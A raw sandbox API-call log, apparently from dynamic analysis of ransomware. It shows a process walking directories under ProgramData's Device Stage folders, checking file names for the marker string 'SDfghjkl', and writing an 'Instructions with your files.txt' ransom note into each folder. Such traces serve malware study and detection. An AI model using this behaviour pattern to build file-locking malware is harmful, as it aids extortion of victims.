[0131.795] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0a56660, ftCreationTime.dwHighDateTime=0x1d5e184, ftLastAccessTime.dwLowDateTime=0xb0a56660, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb0a56660, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0xb1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Instructions with your files.txt", cAlternateFileName="INSTRU~1.TXT")) returned 1
[0131.795] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\Instructions with your files.txt") returned 124
[0131.795] StrStrIW (lpFirst="Instructions with your files.txt", lpSrch="SDfghjkl") returned 0x0
[0131.795] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd3011a9e, ftCreationTime.dwHighDateTime=0x1ca0407, ftLastAccessTime.dwLowDateTime=0xd3011a9e, ftLastAccessTime.dwHighDateTime=0x1ca0407, ftLastWriteTime.dwLowDateTime=0x9c0d5455, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x70c1, dwReserved0=0x0, dwReserved1=0x0, cFileName="watermark.png", cAlternateFileName="")) returned 1
[0131.795] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\watermark.png") returned 105
[0131.795] StrStrIW (lpFirst="watermark.png", lpSrch="SDfghjkl") returned 0x0
[0131.795] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd3011a9e, ftCreationTime.dwHighDateTime=0x1ca0407, ftLastAccessTime.dwLowDateTime=0xd3011a9e, ftLastAccessTime.dwHighDateTime=0x1ca0407, ftLastWriteTime.dwLowDateTime=0x9c0d5455, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x70c1, dwReserved0=0x0, dwReserved1=0x0, cFileName="watermark.png", cAlternateFileName="")) returned 0
[0131.795] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\Instructions with your files.txt") returned 124
[0131.795] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\Instructions with your files.txt" (normalized: "c:\\users\\all users\\microsoft\\device stage\\device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118
[0131.795] WriteFile (in: hFile=0x118, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22ce974*=0x54, lpOverlapped=0x0) returned 1
[0131.796] WriteFile (in: hFile=0x118, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22ce974*=0x18, lpOverlapped=0x0) returned 1
[0131.796] WriteFile (in: hFile=0x118, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22ce974*=0xc, lpOverlapped=0x0) returned 1
[0131.796] WriteFile (in: hFile=0x118, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22ce974*=0x16, lpOverlapped=0x0) returned 1
[0131.796] WriteFile (in: hFile=0x118, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22ce974*=0x23, lpOverlapped=0x0) returned 1
[0131.796] CloseHandle (hObject=0x118) returned 1
[0131.797] FindClose (in: hFindFile=0x876d38 | out: hFindFile=0x876d38) returned 1
[0131.797] GetProcessHeap () returned 0x810000
[0131.797] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x22e0050 | out: hHeap=0x810000) returned 1
[0131.797] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xb0a56660, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb0a56660, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{8702d817-5aad-4674-9ef3-4d3decd87120}", cAlternateFileName="{8702D~1")) returned 0
[0131.797] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\Instructions with your files.txt") returned 85
[0131.797] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\Instructions with your files.txt" (normalized: "c:\\users\\all users\\microsoft\\device stage\\device\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114
[0131.797] WriteFile (in: hFile=0x114, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cec04*=0x54, lpOverlapped=0x0) returned 1
[0131.798] WriteFile (in: hFile=0x114, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cec04*=0x18, lpOverlapped=0x0) returned 1
[0131.798] WriteFile (in: hFile=0x114, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cec04*=0xc, lpOverlapped=0x0) returned 1
[0131.798] WriteFile (in: hFile=0x114, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cec04*=0x16, lpOverlapped=0x0) returned 1
[0131.798] WriteFile (in: hFile=0x114, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cec04*=0x23, lpOverlapped=0x0) returned 1
[0131.798] CloseHandle (hObject=0x114) returned 1
[0131.798] FindClose (in: hFindFile=0x876cf8 | out: hFindFile=0x876cf8) returned 1
[0131.798] GetProcessHeap () returned 0x810000
[0131.798] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x22d0048 | out: hHeap=0x810000) returned 1
[0131.798] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb10bc180, ftCreationTime.dwHighDateTime=0x1d5e184, ftLastAccessTime.dwLowDateTime=0xb10bc180, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb10bc180, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0xb1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Instructions with your files.txt", cAlternateFileName="INSTRU~1.TXT")) returned 1
[0131.798] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\Device Stage\\Instructions with your files.txt") returned 78
[0131.798] StrStrIW (lpFirst="Instructions with your files.txt", lpSrch="SDfghjkl") returned 0x0
[0131.798] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xb10bc180, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb10bc180, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Task", cAlternateFileName="")) returned 1
[0131.798] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\Device Stage\\Task") returned 50
[0131.799] GetProcessHeap () returned 0x810000
[0131.799] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x22d0048
[0131.799] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\*") returned 52
[0131.799] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\*", lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xb10bc180, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb10bc180, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876cf8
[0131.799] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\.") returned 52
[0131.799] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xb10bc180, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb10bc180, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0131.799] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\..") returned 53
[0131.799] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb10bc180, ftCreationTime.dwHighDateTime=0x1d5e184, ftLastAccessTime.dwLowDateTime=0xb10bc180, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb10bc180, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0xb1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Instructions with your files.txt", cAlternateFileName="INSTRU~1.TXT")) returned 1
[0131.799] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\Instructions with your files.txt") returned 83
[0131.799] StrStrIW (lpFirst="Instructions with your files.txt", lpSrch="SDfghjkl") returned 0x0
[0131.799] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xb1096020, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb1096020, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}", cAlternateFileName="{07DEB~1")) returned 1
[0131.799] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}") returned 89
[0131.799] GetProcessHeap () returned 0x810000
[0131.799] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x22e0050
[0131.799] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\*") returned 91
[0131.799] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\*", lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xb1096020, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb1096020, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876d38
[0131.799] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\.") returned 91
[0131.799] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xb1096020, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb1096020, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0131.799] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\..") returned 92
[0131.799] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d91b669, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xb1096020, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb1096020, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1
[0131.799] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\en-US") returned 95
[0131.799] GetProcessHeap () returned 0x810000
[0131.799] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x22f0058
[0131.799] wnsprintfW (in: pszDest=0x22f0058, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\en-US\\*") returned 97
[0131.799] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\en-US\\*", lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d91b669, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xb1096020, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb1096020, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876d78
[0131.800] wnsprintfW (in: pszDest=0x22f0058, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\en-US\\.") returned 97
[0131.800] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d91b669, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xb1096020, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb1096020, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0131.800] wnsprintfW (in: pszDest=0x22f0058, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\en-US\\..") returned 98
[0131.800] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb1096020, ftCreationTime.dwHighDateTime=0x1d5e184, ftLastAccessTime.dwLowDateTime=0xb1096020, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb1096020, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0xb1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Instructions with your files.txt", cAlternateFileName="INSTRU~1.TXT")) returned 1
[0131.800] wnsprintfW (in: pszDest=0x22f0058, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\en-US\\Instructions with your files.txt") returned 128
[0131.800] StrStrIW (lpFirst="Instructions with your files.txt", lpSrch="SDfghjkl") returned 0x0
[0131.800] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x932b6af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x95b44f8, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x932b6af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x536, dwReserved0=0x0, dwReserved1=0x0, cFileName="resource.xml", cAlternateFileName="")) returned 1
[0131.800] wnsprintfW (in: pszDest=0x22f0058, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\en-US\\resource.xml") returned 108
[0131.800] StrStrIW (lpFirst="resource.xml", lpSrch="SDfghjkl") returned 0x0
[0131.800] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x932b6af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x95b44f8, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x932b6af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x536, dwReserved0=0x0, dwReserved1=0x0, cFileName="resource.xml", cAlternateFileName="")) returned 0
[0131.800] wnsprintfW (in: pszDest=0x22f0058, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\en-US\\Instructions with your files.txt") returned 128
[0131.800] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\en-US\\Instructions with your files.txt" (normalized: "c:\\users\\all users\\microsoft\\device stage\\task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\en-us\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x11c
[0131.800] WriteFile (in: hFile=0x11c, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22ce6e4, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22ce6e4*=0x54, lpOverlapped=0x0) returned 1
[0131.801] WriteFile (in: hFile=0x11c, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22ce6e4, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22ce6e4*=0x18, lpOverlapped=0x0) returned 1
[0131.801] WriteFile (in: hFile=0x11c, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22ce6e4, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22ce6e4*=0xc, lpOverlapped=0x0) returned 1
[0131.802] WriteFile (in: hFile=0x11c, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22ce6e4, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22ce6e4*=0x16, lpOverlapped=0x0) returned 1
[0131.802] WriteFile (in: hFile=0x11c, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22ce6e4, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22ce6e4*=0x23, lpOverlapped=0x0) returned 1
[0131.802] CloseHandle (hObject=0x11c) returned 1
[0131.802] FindClose (in: hFindFile=0x876d78 | out: hFindFile=0x876d78) returned 1
[0131.802] GetProcessHeap () returned 0x810000
[0131.802] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x22f0058 | out: hHeap=0x810000) returned 1
[0131.802] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd2c7f9e6, ftCreationTime.dwHighDateTime=0x1ca0407, ftLastAccessTime.dwLowDateTime=0xd2c7f9e6, ftLastAccessTime.dwHighDateTime=0x1ca0407, ftLastWriteTime.dwLowDateTime=0x7c0e93d7, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xd0a3, dwReserved0=0x0, dwReserved1=0x0, cFileName="folder.ico", cAlternateFileName="")) returned 1
[0131.802] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\folder.ico") returned 100
[0131.802] StrStrIW (lpFirst="folder.ico", lpSrch="SDfghjkl") returned 0x0
[0131.802] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb1096020, ftCreationTime.dwHighDateTime=0x1d5e184, ftLastAccessTime.dwLowDateTime=0xb1096020, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb1096020, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0xb1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Instructions with your files.txt", cAlternateFileName="INSTRU~1.TXT")) returned 1
[0131.802] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\Instructions with your files.txt") returned 122
[0131.802] StrStrIW (lpFirst="Instructions with your files.txt", lpSrch="SDfghjkl") returned 0x0
[0131.802] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd2db04ce, ftCreationTime.dwHighDateTime=0x1ca0407, ftLastAccessTime.dwLowDateTime=0xd2db04ce, ftLastAccessTime.dwHighDateTime=0x1ca0407, ftLastWriteTime.dwLowDateTime=0x7c0e93d7, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x72ee, dwReserved0=0x0, dwReserved1=0x0, cFileName="netfol.ico", cAlternateFileName="")) returned 1
[0131.802] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\netfol.ico") returned 100
[0131.802] StrStrIW (lpFirst="netfol.ico", lpSrch="SDfghjkl") returned 0x0
[0131.802] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd2ca5b43, ftCreationTime.dwHighDateTime=0x1ca0407, ftLastAccessTime.dwLowDateTime=0xd2ca5b43, ftLastAccessTime.dwHighDateTime=0x1ca0407, ftLastWriteTime.dwLowDateTime=0x7c10f535, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x14668, dwReserved0=0x0, dwReserved1=0x0, cFileName="pictures.ico", cAlternateFileName="")) returned 1
[0131.802] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\pictures.ico") returned 102
[0131.802] StrStrIW (lpFirst="pictures.ico", lpSrch="SDfghjkl") returned 0x0
[0131.802] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd2c59889, ftCreationTime.dwHighDateTime=0x1ca0407, ftLastAccessTime.dwLowDateTime=0xd2c59889, ftLastAccessTime.dwHighDateTime=0x1ca0407, ftLastWriteTime.dwLowDateTime=0x7c1cdc0b, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x536, dwReserved0=0x0, dwReserved1=0x0, cFileName="resource.xml", cAlternateFileName="")) returned 1
